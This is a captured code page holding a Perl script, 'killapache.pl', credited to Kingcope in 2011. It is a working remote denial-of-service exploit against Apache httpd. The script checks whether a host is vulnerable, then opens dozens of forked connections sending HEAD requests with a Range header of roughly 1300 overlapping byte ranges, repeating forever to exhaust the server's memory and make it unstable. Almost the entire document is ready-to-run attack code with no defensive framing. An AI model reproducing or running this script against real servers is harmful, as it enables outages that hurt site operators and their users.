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August 20, 2011 16:24
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This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,86 @@ #Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while (<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else { $numforks = 50; } $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while (1) { killapache(); }